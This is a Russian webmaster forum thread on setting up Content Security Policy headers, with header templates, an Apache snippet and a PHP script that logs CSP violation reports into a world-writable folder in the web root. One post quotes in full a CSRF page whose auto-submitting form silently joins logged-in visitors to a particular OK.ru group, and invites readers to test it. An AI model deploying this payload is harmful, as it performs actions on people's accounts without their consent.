Настройка CSP - Content Security Policy

L
На сайте с 07.12.2007
Offline
351
#181
Malcolm:
Классическая CSRF. И что, это реально работает и админы OK об этом не знают?

Работает или нет, не знаю, у меня нет групп в OK. У кого есть аккаунты в одноклассниках - могут проверить, вот полный код вражеского ифрейма:


<html>
<head>
<title>ок</title>
</head>
<body>
<form action="http://ok.ru/group/52509593960551[?cmd=PopLayer&st.cmd=altGroupMain&st.layer.cmd=PopLayerJoinClosedAltGroup&st.layer.groupId=52509593960551[&st.layer.loc=GR_RESTRICTED&st.layer.opt1=on&st.groupId=52509593960551[&st._aid=JoinGroupFromMiddleColumnButton&st.layer._bh=651&st.layer._bw=1636&gwt.requested=19ba39b7&p_sId=758859934531081434" method="post">
<input type="submit" class="button-pro" name="REPLIER" value="Вступить в группу"><a class="widget_popup_cancel" href="javascript:window.close();">Отменить</a>
</form>
<script type="text/javascript">
document.getElementsByTagName("form")[0].submit();
</script>
</body>
</html>

Можно сделать эту страничку и зайти на неё залогиненным в OK. И посмотреть, добавился ты автоматом или нет в группу ok.ru/group/52509593960551 -> ok.ru/beautifully.said.

C
На сайте с 07.05.2010
Offline
227
#182

Может кто сталкивался, как правильно настроить правила для спец команд браузера?

safari-resource:

chromenull:

about:blank

null

Не получается. Пробовал в секции script-src, default-src, но все равно csp режет.

A1
На сайте с 22.01.2015
Offline
12
#183

То есть, однаклассникам нельзя открывать доступ??

Сегодня первый день поставила:

Header set Content-Security-Policy "script-src 'self' 'unsafe-inline' 'unsafe-eval' site.ru mc.yandex.ru www.liveinternet.ru *.hypercomments.com *.vk.com *.mail.ru *.facebook.com *.ok.ru *.twitter.com"

Соц. сети - там кнопка поделиться, +вк виджет.

Без *. виджет не работают, а у др. соц. сетях в консоли куча ошибок!

Я не пойму по счет

report-uri http://site.ru/csp.php

В корень наверно опасно ставить по стандартному пути? Никто не воспользуется php в корыстных планах??

Может

report-uri http://site.ru/sdasd/csp.php
и затем, куда я получаю информацию? Было бы здорово ,если в какую-то папку и там по датам расфасовано. Не нужные даты - удаляем вручную.
samimages
На сайте с 31.05.2009
Offline
427
#184

Соберу в одном месте:

Шаблон для CSP - пустой (ничего никому нельзя):


Header set Content-Security-Policy "
default-src 'self';
img-src 'self';
style-src 'self';
script-src 'self';
object-src 'self';
connect-src 'self';
frame-src 'self';
font-src 'self';
report-uri http://site.ru/csp.php;"

Под этот шаблон создаем файл csp.php в корне сайта:


<?php
/*function spam($data)
{
$mas***91;***93;=Array(); //список для игнора 'bad_url_1', 'bad_url_2', 'bad_url_3'...

$kol=count($mas);
$result=0;
for ($i=0; $i<$kol; $i++)
{
if ( ($mas***91;$i***93;)&&(strpos($data,$mas***91;$i***93;)) ) $i=$kol;
}
return $result;
}
*/
header("HTTP/1.0 204 No Response");
$data = file_get_contents('php://input');
if ($data = json_decode($data))
{
$data=stripslashes(json_encode($data));
#if (spam($data)==0) //это если шнягу фильтровать - а так не надо
#{
if(!is_dir($_SERVER***91;'DOCUMENT_ROOT'***93;.'/csp/'.date("dmY"))) mkdir($_SERVER***91;'DOCUMENT_ROOT'***93;.'/csp/'.date("dmY"), 0777);
else
{
$data_z = $data;
$data_z = str_replace("{","",$data_z);
$data_z = str_replace("}","",$data_z);
list($hello, $body) = explode("csp-report", $data_z);
list($document_uri, $referrer, $violated_directive, $original_policy, $blocked_uri, $source_file, $line_number, $column_number, $status_code) = explode(",", $body);
$print_data = "csp-report:\n----------------------------------------\n".$document_uri."\n".$referrer."\n".$violated_directive."\n".$blocked_uri."\n".$source_file."\n".$line_number."\n".$column_number."\n".$status_code."\n";
preg_match('#"blocked-uri":"(.*)",#isU',$data,$url);
if ($url***91;1***93;)
{
preg_match('#"violated-directive":"(.*)",#isU',$data,$url1);
$var_array = explode('/',$url***91;1***93;);
if($var_array***91;2***93;)file_put_contents($_SERVER***91;'DOCUMENT_ROOT'***93;.'/csp/'.date("dmY").'/'.$var_array***91;2***93;, 'violated-directive: '.$url1***91;1***93;."\nUSER_AGENT: ".$_SERVER***91;'HTTP_USER_AGENT'***93;."\nIP: ".$_SERVER***91;'REMOTE_ADDR'***93;."\n\r#---------------------------------------------------------------~\n", FILE_APPEND | LOCK_EX);
else file_put_contents($_SERVER***91;'DOCUMENT_ROOT'***93;.'/csp/'.date("dmY").'/'.date("H").'-csp-report.txt', $print_data."\n".$_SERVER***91;'HTTP_USER_AGENT'***93;."\n".$_SERVER***91;'REMOTE_ADDR'***93;."\n----------------------------------------\n", FILE_APPEND | LOCK_EX);


}
else
{

file_put_contents($_SERVER***91;'DOCUMENT_ROOT'***93;.'/csp/'.date("dmY").'/'.date("H").'-csp-report.txt', $print_data."\n".$_SERVER***91;'HTTP_USER_AGENT'***93;."\n".$_SERVER***91;'REMOTE_ADDR'***93;."\n----------------------------------------\n", FILE_APPEND | LOCK_EX);

}
}
#}
}

?>

Обращаем внимание что ***91 и ***93 - это квадратные скобки имеются ввиду))) Для этого файла нужна пустая директория (папка) в корне сайта с именем csp

В нее будут поступать отчеты с сортировкой по датам. Пути к файлу и папке отчетов можно менять по своему вкусу - на "скорость" это не влияет.

Опыт как иммунитет — приобретается в муках! Хостинг: экономия до 1300 руб + домен в подарок ( https://clck.ru/XLscf ) / Аудит семантики от 15К [долго] - ЛС
A1
На сайте с 22.01.2015
Offline
12
#185

samimages, а какие права указать для csp.php ? Чтобы никто не смог открыть.

Вроде PHP невозможно открыть... но мало ли. :)

samimages
На сайте с 31.05.2009
Offline
427
#186

Его просто не откроют + там заголовок гадкий)))

A
На сайте с 04.10.2014
Offline
221
#187

Правильно ли понял, составленный текст нужно занести в файл .htaccess?

L
На сайте с 07.12.2007
Offline
351
#188
Adviscash:
Правильно ли понял, составленный текст нужно занести в файл .htaccess?

Да, вот шаблон для htaccess/Apache ("" не забудьте вокруг "тела" заголовка):


<ifModule mod_headers.c>
Header set Content-Security-Policy "_тут_CSP_"
</IfModule>

Для веб-сервера на nginx - см этот пост от Malcolm. Как сделать правильную обвязку типа <ifModule mod_headers.c> для nginx(и делается ли она) - я не в курсе.

L
На сайте с 07.12.2007
Offline
351
#189

Сегодня утром одноклассники для своих виджетов поменяли урл загружаемого фрейма - теперь это connect.ok.ru, ранее использовали connect.odnoklassniki.ru.

Проверьте сайты и у кого не работает виджет от одноклассников, в директиву frame-src добавьте: https://*.ok.ru *.ok.ru.

А для полной уверенности все их домены можно внести в директивы script-src и frame-src: https://*.ok.ru *.ok.ru https://*.odnoklassniki.ru *.odnoklassniki.ru.

V2
На сайте с 17.12.2013
Offline
63
#190

А что за www.superfish.com блокирует CSP на всех моих сайтах? Кто это вообще и что с ними делать?

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий